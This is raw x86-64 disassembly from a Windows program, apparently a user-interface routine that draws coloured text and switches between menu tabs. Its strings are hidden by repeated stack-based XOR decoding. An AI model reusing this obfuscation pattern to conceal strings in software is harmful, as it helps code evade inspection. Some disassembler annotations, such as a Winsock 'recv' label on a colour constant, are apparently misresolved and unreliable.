mov qword [rbp + 0x2640], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2648], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2650], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2658], rax
vmovdqu ymm0, ymmword [rbp + 0x2620]
vpxor ymm1, ymm0, ymmword [rbp + 0x2640]
vmovdqa ymmword [rbp + 0x2620], ymm1
lea rdx, [0x140387180]
lea rcx, [rbp + 0x2620]
vzeroupper
call fcn.140032240
call fcn.140016b70
movss xmm2, dword [0x14014e12c]
movss xmm1, dword [0x14014e084]
lea rcx, [rbp + 0x4e0]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
movss xmm2, dword [0x14014e030]
movss xmm1, dword [0x14014e0cc]
lea rcx, [rbp + 0x4e8]
call fcn.1400014d0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1396227d68133dc1
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1350], rcx
movabs rax, 0xabe13b9d1595af2a
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1358], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1360], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1368], rax
movdqa xmm0, xmmword [rbp + 0x1360]
xorps xmm0, xmmword [rbp + 0x1350]
movdqa xmmword [rbp + 0x1350], xmm0
lea rcx, [rbp + 0x1350]
call fcn.140031280
test al, al
je 0x14004b74d
mov dword [0x14038e7a0], 0xc
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x1370]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0b8]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e160]
lea rcx, [rbp + 0x4f0]
call fcn.1400014d0
mov rbx, rax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e054]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e144]
lea rcx, [rbp + 0x4f8]
call fcn.1400014d0
movss xmm0, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023a40
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa43081c6154d3
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1380], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1388], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1390], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1398], rax
movdqa xmm0, xmmword [rbp + 0x1390]
xorps xmm0, xmmword [rbp + 0x1380]
movdqa xmmword [rbp + 0x1380], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x13a0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e048]
movss xmm1, dword [0x14014e144]
lea rcx, [rbp + 0x500]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1380]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e860]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a88266e730e24c4
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x13b0], rcx
movabs rax, 0xabe13b9d66f2a51c
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x13b8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13c0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13c8], rax
movdqa xmm0, xmmword [rbp + 0x13c0]
xorps xmm0, xmmword [rbp + 0x13b0]
movdqa xmmword [rbp + 0x13b0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x13d0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e048]
movss xmm1, dword [0x14014e14c]
lea rcx, [rbp + 0x508]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x13b0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x13e0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e140]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e160]
lea rcx, [rbp + 0x510]
call fcn.1400014d0
mov rbx, rax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0dc]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e144]
lea rcx, [rbp + 0x518]
call fcn.1400014d0
movss xmm0, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023a40
movss xmm2, dword [0x14014e0ec]
movss xmm1, dword [0x14014e148]
lea rcx, [rbp + 0x520]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x29da2f6971133bd9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13f0], rax
movabs rax, 0xab8655f473faa520
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13f8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1400], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1408], rax
movdqa xmm0, xmmword [rbp + 0x1400]
xorps xmm0, xmmword [rbp + 0x13f0]
movdqa xmmword [rbp + 0x13f0], xmm0
lea rdx, [0x140387190]
lea rcx, [rbp + 0x13f0]
call fcn.140032240
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5aca6d3a3c2c04c3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1410], rax
movabs rax, 0xabe148ee74e5b312
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1418], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1420], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1428], rax
movdqa xmm0, xmmword [rbp + 0x1420]
xorps xmm0, xmmword [rbp + 0x1410]
movdqa xmmword [rbp + 0x1410], xmm0
lea rdx, [0x14038e96c]
lea rcx, [rbp + 0x1410]
call fcn.140032240
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1595335b3c0235da
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1430], rax
movabs rax, 0xabe13b9d72fba336
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1438], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1440], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1448], rax
movdqa xmm0, xmmword [rbp + 0x1440]
xorps xmm0, xmmword [rbp + 0x1430]
movdqa xmmword [rbp + 0x1430], xmm0
lea rdx, [0x140387193]
lea rcx, [rbp + 0x1430]
call fcn.140032240
call fcn.140016b70
cmp dword [0x14038e7a0], 5
jne 0x14004ca8b
mov rcx, qword [0x14038e848]
call fcn.140012420
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1450]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov esi, eax
movss xmm1, dword [0x14014df94]
lea rcx, [0x14038ea38]
call fcn.140004750
mov edi, eax
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1460]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movaps xmm2, xmm15
movss xmm1, dword [0x14014e0f8]
lea rcx, [rbp + 0x528]
call fcn.1400014d0
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5ab3635a3c2474c4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1470], rax
movabs rax, 0xabe13bce35d9ea11
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1478], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1480], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1488], rax
movdqa xmm0, xmmword [rbp + 0x1480]
xorps xmm0, xmmword [rbp + 0x1470]
movdqa xmmword [rbp + 0x1470], xmm0
movss xmm0, dword [0x14014df38]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], esi
mov r9d, edi
mov r8d, ebx
unpcklps xmm1, xmm2
movq rdx, xmm1
lea rcx, [rbp + 0x1470]
call fcn.1400328d0
call fcn.1400124c0
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WS2_32.dll_recv
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1490]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [0x14014e164]
movss xmm1, dword [0x14014e06c]
lea rcx, [rbp + 0x530]
call fcn.1400014d0
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x538]
call fcn.1400014d0
mov dword [rsp + 0x28], r14d
movss dword [rsp + 0x20], xmm14
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023b20
movss xmm0, dword [0x14014e034]
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x540]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
mov rcx, qword [rbp + 0x210]
call fcn.140012420
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x548]
call fcn.1400014d0
cmp dword [0x14038e7a0], 3
sete cl
mov r8, rax
lea rdx, [0x140147738]
call fcn.140032fc0
test al, al
je 0x14004bea3
mov dword [0x14038e7a0], 3
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x550]
call fcn.1400014d0
cmp dword [0x14038e7a0], 4
sete cl
mov r8, rax
lea rdx, [0x14014773c]
call fcn.140032fc0
test al, al
je 0x14004bede
mov dword [0x14038e7a0], 4
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x558]
call fcn.1400014d0
cmp dword [0x14038e7a0], 5
sete cl
mov r8, rax
lea rdx, [0x140147740]
call fcn.140032fc0
test al, al
je 0x14004bf19
mov dword [0x14038e7a0], 5
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x560]
call fcn.1400014d0
cmp dword [0x14038e7a0], 6
sete cl
mov r8, rax
lea rdx, [0x140147744]
call fcn.140032fc0
test al, al
je 0x14004bf54
mov dword [0x14038e7a0], 6
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x568]
call fcn.1400014d0
cmp dword [0x14038e7a0], 7
sete cl
mov r8, rax
lea rdx, [0x140147748]
call fcn.140032fc0
test al, al
je 0x14004bf8f
mov dword [0x14038e7a0], 7
call fcn.1400124c0
call fcn.140016b70
lea rcx, [rbp + 0x2660]
call fcn.1400440b0
nop
lea rcx, [rbp + 0x2680]
call fcn.1400445b0
nop
lea rcx, [rbp + 0x26a0]
call fcn.140044d30
nop
call fcn.140043f70
mov rdx, rax
lea rcx, [rbp + 0x26c0]
call fcn.1400736b0
nop
lea rcx, [rbp + 0x26e0]
call fcn.1400454b0
nop
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa43081c6154d3
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14a0], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14a8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x14b0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x14b8], rax
movdqa xmm0, xmmword [rbp + 0x14b0]
xorps xmm0, xmmword [rbp + 0x14a0]
movdqa xmmword [rbp + 0x14a0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x14c0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e058]
movss xmm1, dword [0x14014e0dc]
lea rcx, [rbp + 0x570]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x14a0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e860]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1598316d74153bda
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14d0], rcx
movabs rax, 0xabe13b9d2ff1b831
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14d8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x14e0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x14e8], rax
movdqa xmm0, xmmword [rbp + 0x14e0]
xorps xmm0, xmmword [rbp + 0x14d0]
movdqa xmmword [rbp + 0x14d0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x14f0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e058]
movss xmm1, dword [0x14014e0f4]
lea rcx, [rbp + 0x578]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x14d0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rsi, rax
lea rcx, [rbp + 0x2660]
call fcn.140073520
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xf0
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1500]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e058]
movss xmm1, dword [0x14014e138]
lea rcx, [rbp + 0x580]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rsi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1510]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e070]
movss xmm1, dword [0x14014e0dc]
lea rcx, [rbp + 0x588]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [0x140147790]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [rbp + 0x210]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7ac02e6d68122dc4
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1520], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1528], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1530], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1538], rax
movdqa xmm0, xmmword [rbp + 0x1530]
xorps xmm0, xmmword [rbp + 0x1520]
movdqa xmmword [rbp + 0x1520], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1540]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e070]
movss xmm1, dword [0x14014e0f4]
lea rcx, [rbp + 0x590]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1520]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rsi, rax
lea rcx, [rbp + 0x2680]
call fcn.140073520
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xf0
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1550]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e070]
movss xmm1, dword [0x14014e118]
lea rcx, [rbp + 0x598]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rsi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1560]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e094]
movss xmm1, dword [0x14014e0dc]
lea rcx, [rbp + 0x5a0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [0x140147794]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [rbp + 0x210]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1589306d7f0e26c7
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1570], rcx
movabs rax, 0xabe13b9d1595f022
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1578], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1580], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1588], rax
movdqa xmm0, xmmword [rbp + 0x1580]
xorps xmm0, xmmword [rbp + 0x1570]
movdqa xmmword [rbp + 0x1570], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1590]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e094]
movss xmm1, dword [0x14014e0f4]
lea rcx, [rbp + 0x5a8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1570]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rsi, rax
lea rcx, [rbp + 0x26a0]
call fcn.140073520
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xf0
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x15a0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e094]
movss xmm1, dword [0x14014e124]
lea rcx, [rbp + 0x5b0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rsi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x15b0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e0ac]
movss xmm1, dword [0x14014e0dc]
lea rcx, [rbp + 0x5b8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [0x140147798]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [rbp + 0x210]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa4308262215da
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x15c0], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x15c8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15d0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15d8], rax
movdqa xmm0, xmmword [rbp + 0x15d0]
xorps xmm0, xmmword [rbp + 0x15c0]
movdqa xmmword [rbp + 0x15c0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x15e0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e0ac]
movss xmm1, dword [0x14014e0f4]
lea rcx, [rbp + 0x5c0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x15c0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rsi, rax
lea rcx, [rbp + 0x26c0]
call fcn.140073520
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xf0
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x15f0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e0ac]
movss xmm1, dword [0x14014e108]
lea rcx, [rbp + 0x5c8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rsi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1600]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e0c8]
movss xmm1, dword [0x14014e0dc]
lea rcx, [rbp + 0x5d0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [0x14014779c]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [rbp + 0x210]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa433277123dd3
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1610], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1618], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1620], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1628], rax
movdqa xmm0, xmmword [rbp + 0x1620]
xorps xmm0, xmmword [rbp + 0x1610]
movdqa xmmword [rbp + 0x1610], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1630]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e0c8]
movss xmm1, dword [0x14014e0f4]
lea rcx, [rbp + 0x5d8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1610]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rsi, rax
lea rcx, [rbp + 0x26e0]
call fcn.140073520
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xf0
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1640]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e0c8]
movss xmm1, dword [0x14014e108]
lea rcx, [rbp + 0x5e0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rsi
call fcn.140023de0
nop
lea rcx, [rbp + 0x26e0]
call fcn.140073650
nop
lea rcx, [rbp + 0x26c0]
call fcn.140073650
nop
lea rcx, [rbp + 0x26a0]
call fcn.140073650
nop
lea rcx, [rbp + 0x2680]
call fcn.140073650
nop
lea rcx, [rbp + 0x2660]
call fcn.140073650
cmp dword [0x14038e7a0], 6
jne 0x14004d60c
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WS2_32.dll_recv
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1650]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [0x14014e164]
movss xmm1, dword [0x14014e06c]
